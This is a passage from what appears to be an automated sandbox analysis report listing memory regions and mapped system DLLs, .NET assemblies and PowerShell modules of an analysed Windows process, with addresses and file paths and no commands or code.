1076 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1077 start_va = 0x7fefd970000 end_va = 0x7fefd98efff entry_point = 0x7fefd970000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1078 start_va = 0x7fefde80000 end_va = 0x7fefdf1efff entry_point = 0x7fefde80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1079 start_va = 0x7fefe0d0000 end_va = 0x7fefe1fcfff entry_point = 0x7fefe0d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1080 start_va = 0x7fefe2a0000 end_va = 0x7fefe37afff entry_point = 0x7fefe2a0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1081 start_va = 0x771d0000 end_va = 0x772c9fff entry_point = 0x771d0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1082 start_va = 0x7fefaf10000 end_va = 0x7fefaf28fff entry_point = 0x7fefaf10000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1083 start_va = 0x7fefdd90000 end_va = 0x7fefdd9dfff entry_point = 0x7fefdd90000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1084 start_va = 0x7fefe060000 end_va = 0x7fefe0c6fff entry_point = 0x7fefe060000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1085 start_va = 0x7fefe4c0000 end_va = 0x7fefe588fff entry_point = 0x7fefe4c0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1086 start_va = 0x7fefd710000 end_va = 0x7fefd912fff entry_point = 0x7fefd710000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1087 start_va = 0x7fefdda0000 end_va = 0x7fefde76fff entry_point = 0x7fefdda0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1088 start_va = 0x7fef2a50000 end_va = 0x7fef2abefff entry_point = 0x7fef2a50000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 1089 start_va = 0x7fefe8f0000 end_va = 0x7fefe960fff entry_point = 0x7fefe8f0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1090 start_va = 0x50000 end_va = 0x56fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1091 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1092 start_va = 0x70000 end_va = 0x7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1093 start_va = 0x80000 end_va = 0x82fff entry_point = 0x80000 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 1094 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1095 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 1096 start_va = 0x2f0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 1097 start_va = 0x3f0000 end_va = 0x577fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 1098 start_va = 0x580000 end_va = 0x700fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 1099 start_va = 0x710000 end_va = 0x1b0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 1100 start_va = 0x1b10000 end_va = 0x1c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b10000" filename = "" Region: id = 1101 start_va = 0x1c30000 end_va = 0x1c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c30000" filename = "" Region: id = 1102 start_va = 0x1d30000 end_va = 0x1daffff entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 1103 start_va = 0x7fefd230000 end_va = 0x7fefd23efff entry_point = 0x7fefd230000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1104 start_va = 0x7fefdf20000 end_va = 0x7fefe028fff entry_point = 0x7fefdf20000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1105 start_va = 0x7fefe030000 end_va = 0x7fefe05dfff entry_point = 0x7fefe030000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1106 start_va = 0x7fefbb50000 end_va = 0x7fefbba5fff entry_point = 0x7fefbb50000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1107 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 1108 start_va = 0x1c40000 end_va = 0x1d1efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c40000" filename = "" Region: id = 1109 start_va = 0x1f30000 end_va = 0x1faffff entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 1110 start_va = 0x7fefe590000 end_va = 0x7fefe628fff entry_point = 0x7fefe590000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1111 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1112 start_va = 0x7fefe970000 end_va = 0x7feff6f7fff entry_point = 0x7fefe970000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1113 start_va = 0x7fefc6e0000 end_va = 0x7fefc6fdfff entry_point = 0x7fefc6e0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1114 start_va = 0x7fefd340000 end_va = 0x7fefd34efff entry_point = 0x7fefd340000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1115 start_va = 0x1d0000 end_va = 0x1d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1116 start_va = 0x7fefbc00000 end_va = 0x7fefbdf3fff entry_point = 0x7fefbc00000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1117 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1118 start_va = 0x1f0000 end_va = 0x1f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1119 start_va = 0x1fb0000 end_va = 0x227efff entry_point = 0x1fb0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1120 start_va = 0x2340000 end_va = 0x23bffff entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 1121 start_va = 0x7fefc100000 end_va = 0x7fefc22bfff entry_point = 0x7fefc100000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1122 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1123 start_va = 0x7fefb2b0000 end_va = 0x7fefb2dcfff entry_point = 0x7fefb2b0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1124 start_va = 0x7fefe890000 end_va = 0x7fefe8e1fff entry_point = 0x7fefe890000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1125 start_va = 0x1c20000 end_va = 0x1c20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c20000" filename = "" Region: id = 1126 start_va = 0x1db0000 end_va = 0x1dcffff entry_point = 0x1db0000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000010.db" filename = "\\Users\\qj4SUKboE\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000010.db" (normalized: "c:\\users\\qj4sukboe\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000010.db") Region: id = 1127 start_va = 0x23c0000 end_va = 0x27b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 1128 start_va = 0x7fefd540000 end_va = 0x7fefd575fff entry_point = 0x7fefd540000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1129 start_va = 0x7fefd580000 end_va = 0x7fefd599fff entry_point = 0x7fefd580000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1130 start_va = 0x7fefdb10000 end_va = 0x7fefdce6fff entry_point = 0x7fefdb10000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1131 start_va = 0x2850000 end_va = 0x28cffff entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 1132 start_va = 0x7fefa190000 end_va = 0x7fefa1e6fff entry_point = 0x7fefa190000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 1133 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1134 start_va = 0x7fef75d0000 end_va = 0x7fef7603fff entry_point = 0x7fef75d0000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 1135 start_va = 0x1c10000 end_va = 0x1c13fff entry_point = 0x1c10000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1136 start_va = 0x1d20000 end_va = 0x1d23fff entry_point = 0x1d20000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1137 start_va = 0x1dd0000 end_va = 0x1dfffff entry_point = 0x1dd0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000d.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000d.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000d.db") Region: id = 1138 start_va = 0x1e00000 end_va = 0x1e65fff entry_point = 0x1e00000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1139 start_va = 0x7fef2f20000 end_va = 0x7fef2f9ffff entry_point = 0x7fef2f20000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 1140 start_va = 0x7fef93f0000 end_va = 0x7fef93fbfff entry_point = 0x7fef93f0000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 1141 start_va = 0x7fefd130000 end_va = 0x7fefd152fff entry_point = 0x7fefd130000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1142 start_va = 0x2280000 end_va = 0x22fffff entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1143 start_va = 0x7fefa8c0000 end_va = 0x7fefa8cefff entry_point = 0x7fefa8c0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 1144 start_va = 0x7fefaee0000 end_va = 0x7fefaeeafff entry_point = 0x7fefaee0000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1145 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1146 start_va = 0x7fefcc30000 end_va = 0x7fefcc46fff entry_point = 0x7fefcc30000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1147 start_va = 0x7fefc930000 end_va = 0x7fefc976fff entry_point = 0x7fefc930000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1148 start_va = 0x7fee8f80000 end_va = 0x7fee9018fff entry_point = 0x7fee8f80000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 1149 start_va = 0x7fefc500000 end_va = 0x7fefc50bfff entry_point = 0x7fefc500000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1150 start_va = 0x1e70000 end_va = 0x1e70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e70000" filename = "" Region: id = 1151 start_va = 0x2a90000 end_va = 0x2b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 1152 start_va = 0x74be0000 end_va = 0x74ca8fff entry_point = 0x74be0000 region_type = mapped_file name = "msvcr80.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll") Region: id = 1153 start_va = 0x7fee64f0000 end_va = 0x7fee6e8cfff entry_point = 0x7fee64f0000 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll") Region: id = 1156 start_va = 0x2990000 end_va = 0x299ffff entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 1157 start_va = 0x2b10000 end_va = 0x2c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b10000" filename = "" Region: id = 1158 start_va = 0x1e80000 end_va = 0x1e82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e80000" filename = "" Region: id = 1159 start_va = 0x1e90000 end_va = 0x1e90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e90000" filename = "" Region: id = 1160 start_va = 0x1ea0000 end_va = 0x1ebffff entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 1161 start_va = 0x29e0000 end_va = 0x2a5ffff entry_point = 0x0 region_type = private name = "private_0x00000000029e0000" filename = "" Region: id = 1162 start_va = 0x7ff00040000 end_va = 0x7ff0004ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00040000" filename = "" Region: id = 1163 start_va = 0x7ff00050000 end_va = 0x7ff0005ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00050000" filename = "" Region: id = 1164 start_va = 0x7ff00060000 end_va = 0x7ff000fffff entry_point = 0x0 region_type = private name = "private_0x000007ff00060000" filename = "" Region: id = 1165 start_va = 0x7ff00100000 end_va = 0x7ff0010ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00100000" filename = "" Region: id = 1166 start_va = 0x7ff00110000 end_va = 0x7ff0017ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00110000" filename = "" Region: id = 1167 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1168 start_va = 0x2c10000 end_va = 0x1ac0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c10000" filename = "" Region: id = 1169 start_va = 0x1ac10000 end_va = 0x1b2dffff entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 1170 start_va = 0x1b2e0000 end_va = 0x1b3e0fff entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 1171 start_va = 0x1b410000 end_va = 0x1b48ffff entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 1172 start_va = 0x7fee5610000 end_va = 0x7fee64ebfff entry_point = 0x7fee5610000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll") Region: id = 1173 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1174 start_va = 0x1ec0000 end_va = 0x1ecffff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 1175 start_va = 0x1b490000 end_va = 0x1b771fff entry_point = 0x1b490000 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1176 start_va = 0x7fee4be0000 end_va = 0x7fee5602fff entry_point = 0x7fee4be0000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system\\adff7dd9fe8e541775c46b6363401b22\\system.ni.dll") Region: id = 1177 start_va = 0x7fef3760000 end_va = 0x7fef3811fff entry_point = 0x7fef3760000 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b023321bc53c20c10ccbbd8f78c82c82\\microsoft.powershell.consolehost.ni.dll") Region: id = 1178 start_va = 0x7fffff10000 end_va = 0x7fffff1ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 1179 start_va = 0x7fffff20000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffff20000" filename = "" Region: id = 1180 start_va = 0x7fee4080000 end_va = 0x7fee4bdcfff entry_point = 0x7fee4080000 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management.a#\\009a09f5b2322bb8c5520dc5ddbb28bb\\system.management.automation.ni.dll") Region: id = 1181 start_va = 0x7ff00180000 end_va = 0x7ff0018ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00180000" filename = "" Region: id = 1182 start_va = 0x1ed0000 end_va = 0x1ed2fff entry_point = 0x1ed0000 region_type = mapped_file name = "l_intl.nls" filename = "\\Windows\\System32\\l_intl.nls" (normalized: "c:\\windows\\system32\\l_intl.nls") Region: id = 1183 start_va = 0x28d0000 end_va = 0x298ffff entry_point = 0x28d0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1184 start_va = 0x775c0000 end_va = 0x775c6fff entry_point = 0x775c0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1185 start_va = 0x1ee0000 end_va = 0x1ee0fff entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 1186 start_va = 0x1ef0000 end_va = 0x1ef4fff entry_point = 0x1ef0000 region_type = mapped_file name = "sorttbls.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp") Region: id = 1187 start_va = 0x27c0000 end_va = 0x2800fff entry_point = 0x27c0000 region_type = mapped_file name = "sortkey.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp") Region: id = 1188 start_va = 0x7ff00190000 end_va = 0x7ff0019ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00190000" filename = "" Region: id = 1189 start_va = 0x1f00000 end_va = 0x1f07fff entry_point = 0x1f00000 region_type = mapped_file name = "microsoft.wsman.runtime.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.runtime\\1.0.0.0__31bf3856ad364e35\\microsoft.wsman.runtime.dll") Region: id = 1190 start_va = 0x1f10000 end_va = 0x1f10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f10000" filename = "" Region: id = 1191 start_va = 0x1b780000 end_va = 0x1b87ffff entry_point = 0x0 region_type = private name = "private_0x000000001b780000" filename = "" Region: id = 1192 start_va = 0x1e230000 end_va = 0x1e278fff entry_point = 0x1e230000 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1193 start_va = 0x7fee3bb0000 end_va = 0x7fee3c94fff entry_point = 0x7fee3bb0000 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.transactions\\051655963f24f9ade08486084c570086\\system.transactions.ni.dll") Region: id = 1194 start_va = 0x7fee3ca0000 end_va = 0x7fee3d49fff entry_point = 0x7fee3ca0000 region_type = mapped_file name = "microsoft.wsman.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.wsman.man#\\8cd73e65058ef6f77f36b62a74ec3344\\microsoft.wsman.management.ni.dll") Region: id = 1195 start_va = 0x7fee3d50000 end_va = 0x7fee407dfff entry_point = 0x7fee3d50000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.core\\83e2f6909980da7347e7806d8c26670e\\system.core.ni.dll") Region: id = 1196 start_va = 0x7fef36b0000 end_va = 0x7fef36e1fff entry_point = 0x7fef36b0000 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuratio#\\fcf35536476614410e0b0bd0e412199e\\system.configuration.install.ni.dll") Region: id = 1197 start_va = 0x7fef36f0000 end_va = 0x7fef3758fff entry_point = 0x7fef36f0000 region_type = mapped_file name = "microsoft.powershell.commands.diagnostics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\microsoft.powershell.commands.diagnostics.ni.dll") Region: id = 1198 start_va = 0x1f20000 end_va = 0x1f20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f20000" filename = "" Region: id = 1199 start_va = 0x642ff4a0000 end_va = 0x642ff4a9fff entry_point = 0x642ff4a0000 region_type = mapped_file name = "culture.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\culture.dll") Region: id = 1200 start_va = 0x7fee3870000 end_va = 0x7fee3987fff entry_point = 0x7fee3870000 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\9206dc8156588e608d405729c833edc5\\microsoft.powershell.commands.management.ni.dll") Region: id = 1201 start_va = 0x7fee3990000 end_va = 0x7fee3ba5fff entry_point = 0x7fee3990000 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\cdf48153115fc0bb466f37b7dcad9ac5\\microsoft.powershell.commands.utility.ni.dll") Region: id = 1202 start_va = 0x7fef3670000 end_va = 